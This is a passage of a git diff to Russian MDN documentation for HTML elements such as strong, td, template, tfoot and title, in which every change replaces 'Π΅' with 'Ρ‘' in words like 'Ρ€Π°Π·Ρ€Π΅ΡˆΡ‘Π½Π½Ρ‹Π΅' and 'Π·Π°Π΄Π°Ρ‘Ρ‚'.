ΡˆΡ€ΠΈΡ„Ρ‚ просто для ΡƒΠΊΡ€Π°ΡˆΠ΅Π½ΠΈΡ, вмСсто этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства CSS {{cssxref("font-weight")}}.</p>
<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Ρ†Π΅Π»ΡŒ ΠΏΡ€ΠΈΠ»Π°Π³Π°Π΅ΠΌΠΎΠ³ΠΎ тСкста Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ опрСдСляСт, ΠΊΠ°ΠΊΠΎΠΉ элСмСнт Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ общСния - Π²ΠΎΡ‚ Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ сСмантика.</p>
@@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/strong
<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;Π’Π°ΠΆΠ½ΠΎ:&lt;/strong&gt; ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ масла.&lt;/p&gt;</pre>
-<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ:</p>
+<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ:</p>
<p>{{EmbedLiveSample("ΠœΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΎΡ‡Π½Ρ‹Π΅_прСдупрСТдСния", 650, 80)}}</p>
@@ -120,7 +120,7 @@ translation_of: Web/HTML/Element/strong
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ пулрСквСст.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ пулрСквСст.</div>
<p>{{Compat("html.elements.strong")}}</p>
diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html
index 13adb17b58..1aff1b6a4e 100644
--- a/files/ru/web/html/element/td/index.html
+++ b/files/ru/web/html/element/td/index.html
@@ -21,11 +21,11 @@ translation_of: Web/HTML/Element/td
Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли сразу Π·Π° Π½ΠΈΠΌ слСдуСт элСмСнт {{HTMLElement("th")}} ΠΈΠ»ΠΈ {{HTMLElement("td")}}, ΠΈΠ»ΠΈ Ссли большС Π½Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… Π² Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("tr")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -68,11 +68,11 @@ translation_of: Web/HTML/Element/td
<dl>
<dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ список строк Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ. КаТдая строка это ID Π³Ρ€ΡƒΠΏΠΏΡ‹ ячССк ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ соотвСтствуСт этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ.
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ список строк Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ. КаТдая строка это ID Π³Ρ€ΡƒΠΏΠΏΡ‹ ячССк ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ соотвСтствуСт этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ.
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚,Β ΠΎΠ½ устарСл Π² послСднСй вСрсии стандарта: вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("scope", "td")}}.</div>
</dd>
<dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ фона ячСйки.Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ задаСтся 6-Π·Π½Π°Ρ‡Π½Ρ‹ΠΌΠΈΒ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΊΠΎΠ΄Π°ΠΌΠΈΒ ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с прСфиксом '#'. МоТно Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСдопрСдСлСнныС цвСтовыС строки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ фона ячСйки.Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ задаётся 6-Π·Π½Π°Ρ‡Π½Ρ‹ΠΌΠΈΒ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΊΠΎΠ΄Π°ΠΌΠΈΒ ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с прСфиксом '#'. МоТно Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСдопрСдСлённыС цвСтовыС строки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:
<table style="width: 80%;">
<tbody>
<tr>
@@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/td
<dt>{{htmlattrdef("colspan")}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ сколько столбцов Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ <code>1</code>. ЗначСния большС 1000 Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌΒ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ (1).</dd>
<dt>{{htmlattrdef("headers")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список срок Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, каТдая соотвСтствуСт <strong>id</strong>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ {{HTMLElement("th")}} элСмСнтов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ этот элСмСнт.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список срок Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, каТдая соотвСтствуСт <strong>id</strong>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ {{HTMLElement("th")}} элСмСнтов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ этот элСмСнт.</dd>
<dt>{{htmlattrdef("rowspan")}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊΠΎΠ΅ количСство строк  Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ<code>1</code>; Если Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>0</code>, Ρ‚ΠΎΠ³Π΄Π° Π΅Π³ΠΎ дСйствиС распространяСтся Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Ρ‚Π°Π±Π»ΠΈΡ‡Π½ΠΎΠΉ сСкции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, Π΄Π°ΠΆΠ΅ Ссли нСявно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Ρ‡Π΅ΠΌΡƒ ячСйка ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚. Π—Π½Π°Ρ‡Π΅Π½ΠΈΡΒ Π²Ρ‹ΡˆΠ΅ 65534 ΡΠΎΠΊΡ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π΄ΠΎΒ 65534.</dd>
<dt>{{htmlattrdef("scope")}} {{obsolete_inline("html5")}}</dt>
diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html
index 1f8131817d..10b94c2864 100644
--- a/files/ru/web/html/element/template/index.html
+++ b/files/ru/web/html/element/template/index.html
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/template
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Any element that accepts <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Metadata_content">metadata content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, or <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Script-supporting_elements">script-supporting elements</a>. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does <em>not</em> have a {{htmlattrxref("span", "colgroup")}} attribute.</td>
</tr>
<tr>
@@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/template
<td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">НСт ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ€ΠΎΠ»ΠΈ</a></td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html
index c23f18e84c..f13b52ba26 100644
--- a/files/ru/web/html/element/tfoot/index.html
+++ b/files/ru/web/html/element/tfoot/index.html
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/tfoot
<td>The <span title="syntax-start-tag">start tag</span> is mandatory.Β The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.</td>
</tr>
<tr>
- <td>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</td>
+ <td>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</td>
<td>Β A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.<br>
{{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.</td>
</tr>
@@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/tfoot
<li><span style="font-family: courier new;">center</span>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ содСрТимого ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ ячСйки</li>
<li><span style="font-family: courier new;">right</span>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ содСрТимого ΠΏΠΎ ΠΏΡ€Π°Π²ΠΎΠΌΡƒ ΠΊΡ€Π°ΡŽ ячСйки</li>
<li><span style="font-family: courier new;">justify</span>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΡˆΠΈΡ€ΠΈΠ½Π΅ ячСйки: Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΊ тСксту содСрТимого ячСйки Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° содСрТимоС Π½Π΅ выровняСтся ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ края ячСйки Π΄ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ</li>
- <li><span style="font-family: courier new;">char</span>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкстового содСрТимого ΠΏΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ символу с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ смСщСниСм, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ {{ htmlattrxref("char", "tbody") }} ΠΈ {{ htmlattrxref("charoff", "tbody") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ {{ unimplemented_inline("2212") }}.</li>
+ <li><span style="font-family: courier new;">char</span>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкстового содСрТимого ΠΏΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ символу с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ смСщСниСм, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ {{ htmlattrxref("char", "tbody") }} ΠΈ {{ htmlattrxref("charoff", "tbody") }} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ {{ unimplemented_inline("2212") }}.</li>
</ul>
<p>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ Π·Π°Π΄Π°Π½, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ являСтся <span style="font-family: courier new;">left</span>.</p>
@@ -66,7 +66,7 @@ translation_of: Web/HTML/Element/tfoot
<dl>
<dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки столбца. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· 6-Ρ‚ΠΈ Π·Π½Π°Ρ‡Π½ΠΎΠ³ΠΎ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π² <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, прСдваряСтся '#'. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… строк:
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки столбца. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· 6-Ρ‚ΠΈ Π·Π½Π°Ρ‡Π½ΠΎΠ³ΠΎ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, прСдваряСтся '#'. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… строк:
<table style="width: 80%;">
<tbody>
<tr>
@@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/tfoot
<dl>
<dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} Π² {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} Π² {{ HTMLVersionInline("5") }}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Π΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ячССк Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния для этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°:
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Ρ‘Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ячССк Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния для этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°:
<ul>
<li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li>
<li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li>
diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html
index 32c1165044..545f074d97 100644
--- a/files/ru/web/html/element/title/index.html
+++ b/files/ru/web/html/element/title/index.html
@@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/title
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅">ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>ВСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся мСТэлСмСнтным {{glossary("Whitespace", "Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»Π΅ΠΌ")}}.</td>
</tr>
<tr>
@@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/title
<td>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ΠΈ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ отсутствиС <code>&lt;/title&gt;</code> заставляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡΡ‚Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ страницы.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ HTMLElement("head") }}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ содСрТит Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов {{ HTMLElement("title") }}.</td>
</tr>
<tr>
